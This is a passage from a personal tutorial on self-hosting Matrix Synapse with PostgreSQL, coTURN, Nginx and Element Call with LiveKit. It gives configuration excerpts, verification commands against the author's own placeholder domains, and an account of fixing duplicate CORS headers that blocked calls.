(or your chosen range) Docker + docker compose installed. Synapse + PostgreSQL 1) The PostgreSQL collation gotcha Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:\nDatabase has incorrect collation of \u0026#39;en_US.utf8\u0026#39;. Should be \u0026#39;C\u0026#39; Two ways to resolve:\nPreferred (clean): Re-initialize the Postgres cluster with C and UTF-8: # docker-compose.yml (excerpt for Postgres) services: db: image: postgres:16 environment: POSTGRES_DB: synapse POSTGRES_USER: synapse POSTGRES_PASSWORD: \u0026lt;strong-password\u0026gt; POSTGRES_INITDB_ARGS: \u0026#34;--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C\u0026#34; volumes: - ./pgdata:/var/lib/postgresql/data Requires wiping the volume and recreating the DB.\nPragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster. 2) Start Synapse and generate config docker compose up -d db synapse # Logs docker compose logs --tail=200 synapse Ensure Synapse prints your server_name and public base URL and stays up.\n3) Create an admin user # Exec into the running Synapse container: docker compose exec synapse register_new_matrix_user \\ -c /data/homeserver.yaml -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt; \\ -a -k If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.\nTURN (coTURN) 1) Avoid bad inline comments If you see errors like:\nERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false. …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.\n2) Minimal turnserver.conf listening-port=3478 tls-listening-port=5349 fingerprint use-auth-secret static-auth-secret=\u0026lt;shared-secret\u0026gt; # also set in Synapse realm=example.com # used in creds generation total-quota=0 bps-capacity=0 cli-password=\u0026lt;admin-pass\u0026gt; no-cli cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem # If behind NAT: # external-ip=\u0026lt;public-ip\u0026gt;/\u0026lt;internal-ip\u0026gt; 3) Wire TURN into Synapse In homeserver.yaml:\nturn_uris: - \u0026#34;turn:turn.example.com?transport=udp\u0026#34; - \u0026#34;turn:turn.example.com?transport=tcp\u0026#34; - \u0026#34;turns:turn.example.com:5349?transport=tcp\u0026#34; turn_shared_secret: \u0026#34;\u0026lt;shared-secret\u0026gt;\u0026#34; turn_user_lifetime: \u0026#34;1d\u0026#34; Verify the homeserver issues TURN creds:\nTOKEN=\u0026#39;\u0026lt;your matrix access token\u0026gt;\u0026#39; curl -s -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq You should see uris, a time-limited username and password.\nNginx (host) for Synapse and federation Create /etc/nginx/conf.d/matrix.conf:\n# Client traffic on 443 server { listen 443 ssl; listen [::]:443 ssl; server_name matrix.example.com; ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; # Proxy client \u0026amp; admin APIs to Synapse (container) on 8008 location ~ ^(/_matrix|/_synapse/client) { proxy_pass http://127.0.0.1:8008; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; client_max_body_size 50M; } # Advertise homeserver base + RTC focus (MSC4143) via .well-known location = /.well-known/matrix/client { default_type application/json; add_header Access-Control-Allow-Origin \u0026#34;*\u0026#34; always; return 200 \u0026#39;{\u0026#34;m.homeserver\u0026#34;:{\u0026#34;base_url\u0026#34;:\u0026#34;https://matrix.example.com\u0026#34;},\u0026#34;org.matrix.msc4143.rtc_foci\u0026#34;:[{\u0026#34;type\u0026#34;:\u0026#34;livekit\u0026#34;,\u0026#34;livekit_service_url\u0026#34;:\u0026#34;https://rtc.example.com\u0026#34;}]}\u0026#39;; } } # Federation on 8448 server { listen 8448 ssl http2; listen [::]:8448 ssl http2; server_name matrix.example.com; ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; location / { proxy_pass http://127.0.0.1:8008; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; client_max_body_size 50M; } } Reload and sanity check:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx curl -s https://matrix.example.com/.well-known/matrix/client | jq Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:\ncurl -s https://matrix.example.com/_matrix/client/versions | jq \u0026#39;.unstable_features.\u0026#34;org.matrix.msc4140\u0026#34;\u0026#39; # expect: true Element Call + LiveKit I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.\n1) LiveKit config (/etc/livekit.yaml inside container) port: 7880 bind_addresses: [\u0026#34;0.0.0.0\u0026#34;] rtc: tcp_port: 7881 port_range_start: 50100 port_range_end: 50200 use_external_ip: true logging: level: info turn: enabled: false keys: lk_prod_1: \u0026#34;REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________\u0026#34; Important: the secret must be \u0026gt;= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.\n2) elementcall_jwt env Run it with:\nLIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path) LIVEKIT_KEY=lk_prod_1 LIVEKIT_SECRET=\u0026lt;the long secret above\u0026gt; LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit) Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup Check logs on start; it prints the LIVEKIT_URL it will advertise.\n3) Nginx (host) for rtc.example.com Create /etc/nginx/conf.d/rtc.conf:\nserver { listen 443 ssl; listen [::]:443 ssl; server_name rtc.example.com; ssl_certificate /etc/letsencrypt/live/rtc.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem; access_log /var/log/nginx/rtc.access.log combined; # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO) location = /sfu/get { proxy_hide_header Access-Control-Allow-Origin; add_header Access-Control-Allow-Origin $http_origin always; add_header Vary \u0026#34;Origin\u0026#34; always; add_header Access-Control-Allow-Methods \u0026#34;POST, OPTIONS\u0026#34; always; add_header Access-Control-Allow-Headers \u0026#34;Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\u0026#34; always; if ($request_method = OPTIONS) { return 204; } proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://127.0.0.1:8070/sfu/get; # elementcall_jwt } # 3b) LiveKit WS \u0026amp; HTTP (catch-all) location / { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol; # \u0026#34;livekit\u0026#34; proxy_set_header Origin $http_origin; proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_buffering off; proxy_read_timeout 3600s; proxy_pass http://127.0.0.1:7880; # livekit } } Reload and basic checks:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx # JWT preflight (should return a single ACAO header) curl -si -X OPTIONS https://rtc.example.com/sfu/get \\ -H \u0026#39;Origin: https://app.element.io\u0026#39; \\ -H \u0026#39;Access-Control-Request-Method: POST\u0026#39; \\ -H \u0026#39;Access-Control-Request-Headers: authorization, content-type\u0026#39; | sed -n \u0026#39;1,30p\u0026#39; # Expected: one Access-Control-Allow-Origin and 200/204 Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.\nThe “waiting for media” debugging story (how I found it) Symptom: Element Call created rooms, but calls stayed on “waiting for media.”\nWhat worked:\nelementcall_jwt could CreateRoom in LiveKit (seen in logs). TURN creds endpoint returned time-limited credentials. What didn’t appear:\nNo HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit. Step 1: prove the WS vhost works (even without auth) curl -v --http1.1 \\ -H \u0026#39;Connection: Upgrade\u0026#39; -H \u0026#39;Upgrade: websocket\u0026#39; \\ -H \u0026#39;Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\u0026#39; \\ -H \u0026#39;Sec-WebSocket-Version: 13\u0026#39; \\ https://rtc.example.com/rtc -o /dev/null Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.\nStep 2: check the browser console The smoking gun in DevTools:\nAccess-Control-Allow-Origin cannot contain more than one origin. Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks. The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.\nFix: in Nginx I added:\nproxy_hide_header Access-Control-Allow-Origin; add_header Access-Control-Allow-Origin $http_origin always; add_header Vary \u0026#34;Origin\u0026#34; always; …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).\nStep 3: confirm LiveKit side Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.\nUseful verification commands # Synapse features (expect MSC4140 true) curl -s https://matrix.example.com/_matrix/client/versions | jq \u0026#39;.unstable_features.\u0026#34;org.matrix.msc4140\u0026#34;\u0026#39; # Well-known with RTC focus curl -s https://matrix.example.com/.well-known/matrix/client | jq # TURN creds (with your access token) curl -s -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq # JWT health curl -si -X POST https://rtc.example.com/sfu/get # LiveKit simple HTTP probe curl -si https://rtc.example.com | head # Nginx logs (look for 101 Switching Protocols when a call starts) sudo tail -f /var/log/nginx/rtc.access.log | grep \u0026#39; 101 \u0026#39; Common pitfalls (I hit these so you don’t have to) Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers. Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it). Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained). Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly. CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location. Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths. Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6. Final checklist (print me) https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com. /_matrix/client/versions shows \u0026quot;org.matrix.msc4140\u0026quot;: true. /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204. Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log. LiveKit logs show participants joining (not just CreateRoom). /voip/turnServer returns time-limited TURN credentials. Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range. Credits \u0026amp; tooling Matrix Synapse, coTURN, LiveKit, Element Call. curl, jq, docker compose logs, Nginx access logs. These are your best friends. The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs. 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The root cause was \u003cstrong\u003eduplicate \u003ccode\u003eAccess-Control-Allow-Origin\u003c/code\u003e headers\u003c/strong\u003e on \u003ccode\u003e/sfu/get\u003c/code\u003e (CORS), which stopped the JWT response. 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